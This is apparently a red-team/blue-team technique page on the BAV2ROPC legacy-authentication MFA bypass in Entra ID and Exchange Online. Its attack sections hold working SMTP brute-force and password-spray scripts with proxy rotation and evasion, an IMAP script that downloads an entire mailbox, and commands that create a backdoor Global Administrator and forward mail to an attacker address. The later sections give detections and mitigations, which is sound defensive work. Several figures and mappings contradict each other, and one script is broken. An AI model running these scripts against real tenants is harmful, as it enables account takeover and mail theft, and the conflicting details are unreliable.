MCADDF

[REALWORLD-001]: BAV2ROPC Attack Chain

Metadata

Attribute Details
Technique ID REALWORLD-001
MITRE ATT&CK v18.1 T1110.003 - Brute Force: Password Spraying
Tactic Credential Access
Platforms Entra ID / M365
Severity Critical
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions All Entra ID tenant versions; Exchange Online (all versions)
Patched In N/A - Requires architectural mitigation (BAV2ROPC cannot be “patched”, only disabled)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: BAV2ROPC (Basic Authentication Version 2 Resource Owner Password Credentials) is a legacy authentication mechanism in Entra ID that converts basic authentication credentials into OAuth 2.0 access tokens transparently. This undocumented protection system allows applications using basic authentication (username/password) to obtain Entra ID tokens without requiring modern authentication protocols. Critically, BAV2ROPC bypasses Multi-Factor Authentication (MFA) enforcement, Conditional Access policies, and interactive authentication challenges, making it an ideal attack vector for credential-based assaults.

Attack Surface: BAV2ROPC primarily affects legacy email protocols (SMTP AUTH, POP3, IMAP4) and outdated mail clients that do not support OAuth 2.0. The vulnerability is tenant-level, affecting all users where legacy authentication has not been explicitly disabled. Between March 18 and April 7, 2025, sophisticated threat actors conducted a coordinated campaign exploiting BAV2ROPC, demonstrating 138% escalation in attack intensity and achieving 9,000+ suspicious login attempts in a single week.

Business Impact: Successful BAV2ROPC exploitation leads to complete mailbox compromise, data exfiltration, internal phishing campaigns, and lateral movement to privileged accounts. Unlike modern authentication flows, BAV2ROPC leaves minimal forensic evidence in interactive sign-in logs, complicating incident response. Real-world incidents show attackers using compromised accounts to dismiss additional login attempts, enabling mass compromise of subordinate user accounts.

Technical Context: BAV2ROPC attacks typically manifest as rapid-fire authentication attempts (6,444 attempts/day observed), originating from distributed IP infrastructure. Detection is difficult because BAV2ROPC generates non-interactive sign-in logs (marked as NonInteractiveUserSignInLogs) which are often overlooked during security monitoring. Threat actors exploit BAV2ROPC in phases: initial reconnaissance (low volume), sustained credential testing (medium volume), and brute force/spray campaigns (high volume, distributed).

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Microsoft 365 Benchmark 1.1.2 Disable legacy authentication mechanisms; ensure MFA enforcement across all authentication protocols
DISA STIG SI-2 Information System Security Planning; disable deprecated authentication protocols
CISA SCuBA EXO.01.04 Disable Basic Authentication for Exchange protocols
NIST 800-53 IA-2, IA-4 Multi-factor authentication and user authentication; enforce modern authentication standards
GDPR Art. 32 Security of Processing; organizations must ensure authentication mechanisms meet contemporary security standards
DORA Art. 9 Protection and Prevention; critical entities must disable legacy authentication mechanisms
NIS2 Art. 21 Cyber Risk Management Measures; enforce modern authentication for identity infrastructure
ISO 27001 A.9.2.1, A.9.2.3 User registration; Management of Privileged Access Rights; enforce MFA and disable legacy auth
ISO 27005 Risk Scenario “Compromise of Administration Interface via Legacy Protocol”; inherent risk of basic authentication

2. TECHNICAL PREREQUISITES

Supported Versions:

Prerequisites for Attack Success:


3. ENVIRONMENTAL RECONNAISSANCE

Cloud-Specific Reconnaissance (PowerShell / Azure CLI)

Check if legacy authentication is enabled at tenant level:

# Connect to Exchange Online
Connect-ExchangeOnline

# Check tenant-wide authentication policy settings
Get-AuthenticationPolicy | Select-Object Name, AllowBasicAuthSmtp, AllowBasicAuthPop, AllowBasicAuthImap

# Check if modern authentication is enforced
Get-OrganizationConfig | Select-Object OAuth2ClientProfileEnabled

# Check if SMTP AUTH is globally disabled
Get-TransportRule | Where-Object { $_.Name -like "*SMTP*" } | Select-Object Name, Enabled

What to Look For:

Check for users with legacy auth overrides (per-mailbox settings):

# Get all mailboxes with POP/IMAP/SMTP enabled (legacy auth at user level)
Get-CASMailbox -Filter { PopEnabled -eq $true -or ImapEnabled -eq $true -or SmtpClientAuthenticationDisabled -eq $false } | 
  Select-Object UserPrincipalName, PopEnabled, ImapEnabled, SmtpClientAuthenticationDisabled

# If the result set is large (>50 mailboxes), legacy auth is widely enabled

What This Means:


4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: BAV2ROPC Brute Force via SMTP AUTH

Supported Versions: Entra ID 2019-2025, Exchange Online (all versions)

Step 1: Credential Enumeration/Acquisition

Objective: Obtain valid or commonly-used credentials (phishing, breach databases, password sprays)

Reconnaissance Command:

# Query O365 for valid usernames (requires legitimate access)
# Threat actors typically use breach datasets or conduct low-volume enumeration first
Get-Mailbox | Select-Object UserPrincipalName | Export-Csv valid_users.csv

What This Means:

OpSec & Evasion:


Step 2: SMTP AUTH Brute Force Attack

Objective: Attempt password authentication via SMTP protocol without MFA

Tool: Any SMTP client capable of basic authentication (Python smtplib, sendmail, custom tools)

Python Example (SMTP Brute Force):

#!/usr/bin/env python3
import smtplib
import sys
import time

def smtp_brute_force(target_user, password_list, smtp_host="smtp.office365.com", smtp_port=587):
    """
    Brute force SMTP AUTH against Exchange Online
    BAV2ROPC will convert basic auth to OAuth 2.0 transparently
    """
    for password in password_list:
        try:
            server = smtplib.SMTP(smtp_host, smtp_port, timeout=10)
            server.starttls()  # TLS required
            server.login(target_user, password)
            print(f"[+] SUCCESS: {target_user}:{password}")
            server.quit()
            return True
        except smtplib.SMTPAuthenticationError:
            print(f"[-] FAILED: {target_user}:{password}")
            server.quit()
            time.sleep(0.5)  # Rate limiting evasion
        except smtplib.SMTPException as e:
            print(f"[!] SMTP Error: {e}")
            time.sleep(2)
        except Exception as e:
            print(f"[!] Connection error: {e}")
    
    return False

# Read password list from file
with open("passwords.txt", "r") as f:
    passwords = f.read().splitlines()

# Target user
target_user = "victim@company.onmicrosoft.com"

# Perform brute force
smtp_brute_force(target_user, passwords)

Expected Output (On Success):

[+] SUCCESS: victim@company.onmicrosoft.com:Welcome123

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 3: IMAP/POP3 Access for Mailbox Compromise

Objective: Once credentials are confirmed, access full mailbox contents via IMAP or POP3

IMAP Example (IMAPClient Python Library):

#!/usr/bin/env python3
from imapclient import IMAPClient
import ssl

def imap_mailbox_access(username, password, imap_host="outlook.office365.com"):
    """
    Access mailbox via IMAP (legacy basic auth)
    BAV2ROPC converts credentials to OAuth tokens
    """
    try:
        # Connect via IMAP with TLS
        ssl_context = ssl.create_default_context()
        imap = IMAPClient(imap_host, ssl=True, ssl_context=ssl_context)
        
        # Authenticate with basic auth (BAV2ROPC will intercept and convert)
        imap.login(username, password)
        print(f"[+] IMAP Login successful for {username}")
        
        # Select INBOX
        imap.select_folder("INBOX")
        
        # Fetch all message UIDs
        messages = imap.search(['ALL'])
        print(f"[+] Found {len(messages)} messages in INBOX")
        
        # Download all emails
        for msg_id in messages:
            response = imap.fetch(msg_id, ['RFC822'])
            email_data = response[msg_id][b'RFC822']
            print(f"[+] Downloaded message {msg_id}")
            # Save to disk
            with open(f"email_{msg_id}.eml", "wb") as f:
                f.write(email_data)
        
        imap.logout()
        return True
    
    except Exception as e:
        print(f"[-] IMAP Error: {e}")
        return False

# Attack
username = "victim@company.onmicrosoft.com"
password = "CompromisedPassword123"
imap_mailbox_access(username, password)

Expected Output:

[+] IMAP Login successful for victim@company.onmicrosoft.com
[+] Found 1,247 messages in INBOX
[+] Downloaded message 1
[+] Downloaded message 2
...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Distributed BAV2ROPC Password Spraying (Real-World Campaign)

Supported Versions: Entra ID 2019-2025, Exchange Online (all versions)

This method follows the 3-phase attack pattern observed in the March-April 2025 Guardz campaign.

Step 1: Initial Reconnaissance Phase (Low Volume)

Objective: Identify valid usernames and test MFA status without triggering alarms

Attack Pattern:

Command (Custom Bash Script with Curl):

#!/bin/bash
# BAV2ROPC reconnaissance via SMTP AUTH
# Low-volume, distributed reconnaissance

USERLIST="users.txt"  # One UPN per line
PASSWORD_LIST="common_passwords.txt"  # 10-50 weak passwords
PROXY_LIST="proxies.txt"  # One proxy per line

# Read user and password lists
users=$(cat $USERLIST | head -50)  # Start with 50 users
passwords=$(cat $PASSWORD_LIST | head -10)  # Test 10 passwords

for user in $users; do
    for password in $passwords; do
        # Randomize proxy
        proxy=$(shuf -n1 $PROXY_LIST)
        
        # Attempt SMTP AUTH via curl
        response=$(curl -s --proxy $proxy \
            --user "$user:$password" \
            smtp://smtp.office365.com:587 \
            -v 2>&1 | grep "235\|535")
        
        if echo $response | grep -q "235"; then
            echo "[+] SUCCESS: $user:$password" >> successful_logins.txt
        else
            echo "[-] FAILED: $user"
        fi
        
        # Rate limiting: 1 attempt per 20 seconds
        sleep 20
    done
done

What This Means:

OpSec & Evasion:


Step 2: Sustained Attack Phase (Medium Volume)

Objective: Accelerate attacks against identified vulnerable accounts; test multiple auth vectors

Attack Pattern:

Bash Script (Accelerated Spray):

#!/bin/bash
# Phase 2: Sustained password spray with expanded password list

VULNERABLE_USERS="users_without_mfa.txt"
EXPANDED_PASSWORDS="50_common_passwords.txt"
DISTRIBUTED_PROXIES="proxy_pool.txt"

# Parallel execution via GNU Parallel
cat $VULNERABLE_USERS | \
  parallel --pipe --block 10M -j 50 \
  'while read user; do
    for password in $(cat $EXPANDED_PASSWORDS); do
      proxy=$(shuf -n1 $DISTRIBUTED_PROXIES)
      curl -s --proxy $proxy \
        --user "$user:$password" \
        smtp://smtp.office365.com:587 | grep -q "235" && echo "[+] $user:$password"
    done
  done'

What This Means:


Step 3: Peak Brute Force Phase (High Volume, Distributed)

Objective: Maximum pressure; full brute force on identified targets; distributed infrastructure

Attack Pattern:

Bash Script (Full Brute Force with Distributed IPs):

#!/bin/bash
# Phase 3: Peak brute force attack

# Rotate through 13+ IP addresses and SOCKS5 proxies
IP_ROTATION=("1.1.1.1" "1.1.1.2" "1.1.1.3" ... "1.1.1.13")
USERS="vulnerable_users.txt"
PASSWORD_DICT="10k_passwords.txt"  # Large wordlist

parallel_job() {
    local user=$1
    local password=$2
    local ip_index=$((RANDOM % 13))
    local proxy=${IP_ROTATION[$ip_index]}
    
    response=$(curl -s --proxy socks5://$proxy:1080 \
        --user "$user:$password" \
        smtp://smtp.office365.com:587 \
        -w "\n%{http_code}\n" 2>&1 | tail -1)
    
    if [[ $response == "235" ]]; then
        echo "[+] COMPROMISED: $user:$password via IP $proxy" >> compromised.txt
    fi
}

# Parallel brute force (50 concurrent jobs)
export -f parallel_job
export IP_ROTATION PASSWORD_DICT

cat $USERS | parallel -j 50 --colsep ' ' \
    'cat $PASSWORD_DICT | parallel parallel_job {} {}'

Attack Intensity Chart (Real-World Campaign):

March 18-20 (Recon):        178/hour
March 21 - April 3 (Test):  534/hour
April 4-5 (Peak):           6,444/hour (+138% increase)

What This Means:


Step 4: Post-Exploitation: Mailbox Access & Lateral Movement

Objective: Once credentials are compromised, attackers pivot to full account control

Real-World Incident Pattern:

  1. Compromise Account A (via BAV2ROPC): Global Administrator account
  2. Mailbox Exfiltration: Copy all emails for 5+ years of history
  3. Credential Harvesting: Extract credentials from emails (API keys, OAuth tokens, etc.)
  4. Multi-Account Compromise: Use Global Admin access to dismiss MFA challenges for Accounts B, C, D
  5. Lateral Movement: Compromise executive and privileged accounts
  6. Persistence: Create additional admin accounts; configure forwarding rules

Commands (Post-Exploitation):

# Post-compromise: Create backdoor admin account
$SecurePassword = ConvertTo-SecureString -AsPlainText "P@ssw0rd123!" -Force
New-AzADUser -DisplayName "SecureAdmin" -UserPrincipalName securemin@company.onmicrosoft.com `
    -Password $SecurePassword
Add-AzADGroupMember -ObjectId (Get-AzADGroup -SearchString "Global Administrators").Id `
    -MemberObjectId (Get-AzADUser -UserPrincipalName securemin@company.onmicrosoft.com).Id

# Configure mailbox forwarding (exfiltrate all incoming mail)
Set-Mailbox -Identity victim@company.onmicrosoft.com -ForwardingAddress attacker@external.com

OpSec & Evasion:

References & Proofs:


5. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Test ID: T1110.003-001 (Password Spraying)

Supported Versions: Entra ID 2019-2025

PowerShell Simulation (Safe Lab Environment):

# WARNING: Only run in isolated lab with explicit RoE authorization

# Simulate BAV2ROPC brute force attempt (using test credentials)
Invoke-AtomicTest T1110.003 -TestNumbers 1

# Expected output:
# [+] Testing T1110.003 (Brute Force - Password Spraying)
# [+] Executing spray attack against test user
# [*] 50 failed attempts detected

Cleanup:

Invoke-AtomicTest T1110.003 -Cleanup

Reference: Atomic Red Team Library - T1110.003


6. MICROSOFT SENTINEL DETECTION

Query 1: Abnormal Non-Interactive Sign-In via BAV2ROPC User Agent

Rule Configuration:

KQL Query:

SigninLogs
| where TimeGenerated > ago(5m)
| where UserAgent contains "BAV2ROPC" or UserAgent contains "Outlook-iOS" or UserAgent contains "Outlook-Android"
| where ResultType != 0  // Failed auth attempts
| where ClientAppUsed in ("SMTP", "IMAP", "POP", "Other clients (legacy)")
| summarize 
    FailedAttemptCount = count(),
    UniqueUsers = dcount(UserPrincipalName),
    UniqueIPs = dcount(IPAddress),
    Countries = make_set(LocationDetails.countryOrRegion)
    by IPAddress, ClientAppUsed, UserAgent
| where FailedAttemptCount > 10
| project IPAddress, ClientAppUsed, FailedAttemptCount, UniqueUsers, UniqueIPs, Countries

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. General Tab:
    • Name: Detect BAV2ROPC Legacy Auth Abuse
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  5. Incident settings Tab:
    • Enable Create incidents
    • Grouping: Enabled (group by UserPrincipalName, ClientAppUsed)
  6. Click Review + create

Query 2: Credential Stuffing via SMTP/IMAP/POP Rapid-Fire Attempts

KQL Query:

SigninLogs
| where TimeGenerated > ago(10m)
| where ClientAppUsed in ("SMTP", "IMAP", "POP", "Other clients (legacy)")
| where ResultType != 0  // Failed attempts
| summarize 
    TotalFailures = count(),
    UniqueUsers = dcount(UserPrincipalName),
    UniquePasswords = dcount(ResourceId),  // Proxy for unique password attempts
    TimeSpan = max(TimeGenerated) - min(TimeGenerated)
    by IPAddress, bin(TimeGenerated, 1m)
| where TotalFailures > 50 and TimeSpan < 5m
| project IPAddress, TotalFailures, UniqueUsers, TimeSpan

Manual Configuration Steps (PowerShell):

# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "SecurityGroup"
$WorkspaceName = "SentinelWorkspace"

# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Rapid SMTP/IMAP/POP Auth Attempts (Spray Pattern)" `
  -Query @"
SigninLogs
| where TimeGenerated > ago(10m)
| where ClientAppUsed in ("SMTP", "IMAP", "POP")
| where ResultType != 0
| summarize TotalFailures = count() by IPAddress, bin(TimeGenerated, 1m)
| where TotalFailures > 50
"@ `
  -Severity "High" `
  -Enabled $true `
  -Frequency "PT5M"

References:


7. WINDOWS EVENT LOG MONITORING

Note: BAV2ROPC is cloud-only, so on-premises Event Viewer logs do not directly capture these attacks. However, if a compromised account is used to access on-premises Exchange Server or Active Directory, the following event IDs may be relevant:

Event ID: 4768 (Kerberos Authentication Ticket Granted)

Event ID: 4625 (Failed Logon)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesAccount Logon
  3. Enable:
    • Audit Kerberos Authentication Service: Success and Failure
    • Audit Kerberos Service Ticket Operations: Success and Failure
  4. Run gpupdate /force on target machines

Manual Configuration Steps (Server 2022+):

# Use AuditPol.exe directly
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /get /subcategory:"Kerberos Authentication Service"  # Verify

8. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Sign-In from Unfamiliar Location with Legacy Client

Alert Name: Suspicious sign-in activity from unfamiliar location using legacy client

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, ensure:
    • Defender for Servers: ON
    • Defender for Identity: ON (covers both on-premises and cloud)
  5. Click Save
  6. Go to Security alerts to review triggered alerts

9. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Search for Suspicious Send Operations via SMTP

# Connect to Compliance Center
Connect-ExchangeOnline

# Search for emails sent via SMTP (legacy)
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -Operations "Send" `
  -Filter @{
    "ClientInfoString" = "*Hub Transport*"  # SMTP submissions show Hub Transport
  } | 
  Where-Object { 
    $_.AuditData -like "*IsClientSubmission*true*" 
  } | 
  Select-Object UserIds, CreationDate, Operations, SourceIPAddress | 
  Export-Csv -Path "smtp_sends.csv"

What to Look For:

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate
  5. To search:
    • Go to AuditSearch
    • Set Date range (Start/End)
    • Under Activities, select: Send (Mail)
    • Under Users, enter target user UPN (or leave blank for all)
    • Click Search
    • Export results: ExportDownload all results

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Action 1: Disable Legacy Authentication at Tenant Level

Applies To Versions: All Entra ID tenants, Exchange Online

Manual Steps (Microsoft 365 Admin Center):

  1. Go to Microsoft 365 Admin Center (admin.microsoft.com)
  2. Navigate to SettingsOrg settingsModern Authentication
  3. Uncheck the following:
    • IMAP
    • POP
    • SMTP AUTH
    • MAPI
    • Exchange ActiveSync (EAS)
    • Exchange Web Services (EWS)
  4. Click Save

Manual Steps (PowerShell - Exchange Online):

# Connect to Exchange Online
Connect-ExchangeOnline

# Disable legacy authentication globally
Set-OrganizationConfig -OAuth2ClientProfileEnabled $true

# Disable SMTP AUTH for all mailboxes
Get-Mailbox | Set-CASMailbox -SmtpClientAuthenticationDisabled $true

# Disable IMAP and POP for all mailboxes
Get-Mailbox | Set-CASMailbox -ImapEnabled $false -PopEnabled $false -MAPIEnabled $false

# Verify settings
Get-OrganizationConfig | Select-Object OAuth2ClientProfileEnabled
Get-CASMailbox | Select-Object UserPrincipalName, ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabled

Validation Command:

# Verify legacy auth is disabled
Get-OrganizationConfig | Select-Object OAuth2ClientProfileEnabled
# Should return: OAuth2ClientProfileEnabled : True

# Check if SMTP AUTH is disabled for all users
Get-CASMailbox | Where-Object { $_.SmtpClientAuthenticationDisabled -eq $false } | Measure-Object
# Should return: Count: 0 (no users with SMTP AUTH enabled)

Expected Output (If Secure):

OAuth2ClientProfileEnabled : True
Count: 0

Action 2: Enforce Conditional Access Policy to Block Legacy Apps

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Block Legacy Authentication Clients
  4. Assignments:
    • Users or workload identities: All users
    • Cloud apps or actions: All cloud apps
  5. Conditions:
    • Client app types: Select Exchange ActiveSync clients, Other clients, Mobile apps and desktop clients
  6. Access controls:
    • Grant: Select Block access
  7. Enable policy: On
  8. Click Create

Manual Steps (PowerShell):

# Connect to Entra ID
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"

# Create Conditional Access policy to block legacy auth
$conditions = @{
    "clientAppTypes" = @("exchangeActiveSync", "other", "mobileAppsAndDesktopClients")
}

$grantControls = @{
    "operator" = "OR"
    "builtInControls" = @("block")
}

$policy = @{
    "displayName" = "Block Legacy Authentication"
    "conditions" = $conditions
    "grantControls" = $grantControls
    "state" = "on"
}

New-MgIdentityConditionalAccessPolicy -BodyParameter $policy

Action 3: Create Authentication Policy to Block Legacy Protocols Per-User

Manual Steps (PowerShell):

# Create authentication policy
New-AuthenticationPolicy -Name "Block Basic Auth" `
  -BlockLegacyAuthenticationProtocols $true

# Apply policy to all users
Get-User | Set-AuthenticationPolicyAssignment -AuthenticationPolicy "Block Basic Auth" -Force

# Alternatively, apply to specific group
$users = Get-AzureADGroupMember -ObjectId "GroupID"
$users | ForEach-Object {
  Set-User -Identity $_.UserPrincipalName -AuthenticationPolicy "Block Basic Auth"
}

# Verify policy is applied
Get-AuthenticationPolicy | Select-Object Name, BlockLegacyAuthenticationProtocols

Action 4: Enforce MFA Organization-Wide

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Require MFA for All Users
  4. Assignments:
    • Users: All users
    • Cloud apps: All cloud apps
  5. Conditions:
    • Client app types: All client apps
  6. Access controls:
    • Grant: Select Require multi-factor authentication
  7. Enable policy: On
  8. Click Create

Action 5: Monitor & Alert on Legacy Protocol Usage

Manual Steps (Configure Alert in Sentinel):

  1. Create the Sentinel KQL queries above
  2. Set alert frequency to 5 minutes
  3. Enable email notifications to SOC team
  4. Set alert response playbook to:
    • Disable user account immediately
    • Reset MFA credentials
    • Trigger IR investigation

Priority 2: HIGH

Action 1: Disable SMTP AUTH Specifically (Phased Approach)

Microsoft has announced SMTP AUTH deprecation with timeline:

To proactively disable:

# Disable SMTP AUTH per-user
Get-Mailbox | Set-CASMailbox -SmtpClientAuthenticationDisabled $true

# Or use Authentication Policy
Set-AuthenticationPolicy -Identity "BlockBasicAuth" -AllowBasicAuthSmtp:$false

Action 2: Implement Zero Trust Access Controls


Access Control & Policy Hardening

Conditional Access - Require Device Compliance:

# Require compliant device for all users
$policy = @{
    "displayName" = "Require Device Compliance"
    "conditions" = @{
        "users" = @{ "includeUsers" = @("All") }
        "applications" = @{ "includeApplications" = @("All") }
    }
    "grantControls" = @{
        "operator" = "OR"
        "builtInControls" = @("compliantDevice", "domainJoinedDevice")
    }
    "state" = "on"
}

New-MgIdentityConditionalAccessPolicy -BodyParameter $policy

RBAC Hardening - Remove Unnecessary Roles:

# Identify users with Legacy auth permissions
Get-AzRoleAssignment -RoleDefinitionName "Owner" | 
  Where-Object { $_.ObjectType -eq "User" } | 
  Select-Object DisplayName, SignInName, RoleDefinitionName

# Remove unnecessary Owner roles
Remove-AzRoleAssignment -ObjectId "UserObjectID" -RoleDefinitionName "Owner" -Scope "/subscriptions/SubscriptionID"

11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Entra ID Sign-In Logs:

Exchange Online Logs:

Network IOCs:


Forensic Artifacts

Disk (On-Premises):

Cloud (Entra ID/Exchange Online):

Memory:


Response Procedures

1. Immediate Isolation:

# Disable compromised user account immediately
Disable-AzureADUser -ObjectId "user@company.onmicrosoft.com"

# Revoke all sign-in sessions
Revoke-AzureADUserAllRefreshToken -ObjectId "user@company.onmicrosoft.com"

# Reset password (force re-authentication)
$SecurePassword = ConvertTo-SecureString -AsPlainText "NewP@ssw0rd!23456" -Force
Set-AzureADUserPassword -ObjectId "user@company.onmicrosoft.com" -Password $SecurePassword -EnforceChangePasswordPolicy $true

2. Collect Evidence:

# Export all sign-in logs for compromised user
Connect-ExchangeOnline
Search-UnifiedAuditLog -UserIds "user@company.onmicrosoft.com" -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) -ResultSize 5000 | 
  Export-Csv -Path "C:\Evidence\audit_logs.csv"

# Export mailbox forwarding rules
Get-InboxRule -Mailbox "user@company.onmicrosoft.com" | 
  Select-Object Identity, Enabled, ForwardTo, RedirectTo | 
  Export-Csv -Path "C:\Evidence\forwarding_rules.csv"

# Export mailbox delegates
Get-MailboxPermission -Identity "user@company.onmicrosoft.com" -User "*" | 
  Where-Object { $_.AccessRights -ne "None" } | 
  Export-Csv -Path "C:\Evidence\delegates.csv"

3. Remediate:

# Remove malicious forwarding rules
Get-InboxRule -Mailbox "user@company.onmicrosoft.com" | 
  Where-Object { $_.ForwardTo -like "*external*" } | 
  Remove-InboxRule

# Remove unauthorized delegates
Remove-MailboxPermission -Identity "user@company.onmicrosoft.com" -User "attacker@external.com" -AccessRights FullAccess -Confirm:$false

# Audit all global admin accounts for unauthorized changes
Get-AzureADDirectoryRoleMembers -ObjectId (Get-AzureADDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }).ObjectId |
  Select-Object UserPrincipalName, CreatedDateTime | 
  Export-Csv -Path "C:\Evidence\global_admins.csv"

Step Phase Technique Description
1 Initial Access [T1110.003] Brute Force: Password Spraying Attacker obtains credentials via breach database or sprays common passwords
2 Credential Access [REALWORLD-001] BAV2ROPC Attack Chain Attacker authenticates via legacy SMTP/IMAP/POP, bypassing MFA
3 Lateral Movement [T1087.002] Account Discovery Attacker reviews emails to identify privileged users and service accounts
4 Privilege Escalation [T1098] Account Manipulation Attacker modifies user attributes or creates backdoor admin accounts
5 Persistence [T1040] Forwarding Rule Configuration Attacker configures mail forwarding to external account for persistent access
6 Impact [T1537] Data Staged; [T1020] Automated Data Exfiltration Attacker exfiltrates mailbox contents and sensitive communications

13. REAL-WORLD EXAMPLES

Example 1: Guardz Campaign (March-April 2025)


Example 2: Kroll Incident Response Case (2024)


Example 3: Darktrace Multi-Account Compromise (January 2026)


Summary

BAV2ROPC represents a critical architectural vulnerability in Entra ID legacy authentication support. Unlike traditional authentication attacks, BAV2ROPC is entirely legitimate from Microsoft’s perspective – it’s a compatibility layer designed to support outdated applications. However, this design choice creates an MFA bypass mechanism that adversaries exploit systematically.

Key Takeaways:

  1. Disable legacy authentication immediately – No business justification warrants MFA bypass
  2. Monitor non-interactive sign-in logs – Standard dashboards often ignore NonInteractiveUserSignInLogs
  3. Enforce Conditional Access for legacy protocols – Block Other clients (legacy) category entirely
  4. Implement zero-trust access controls – Passwordless authentication eliminates credential-based attacks
  5. Threat actors are coordinated – The 2025 Guardz campaign shows professional-grade exploitation with distributed infrastructure

Organizations still supporting legacy authentication protocols after April 30, 2026 (SMTP AUTH deadline) will remain vulnerable to BAV2ROPC attacks indefinitely. Migration to OAuth 2.0 is not optional – it is a business and security imperative.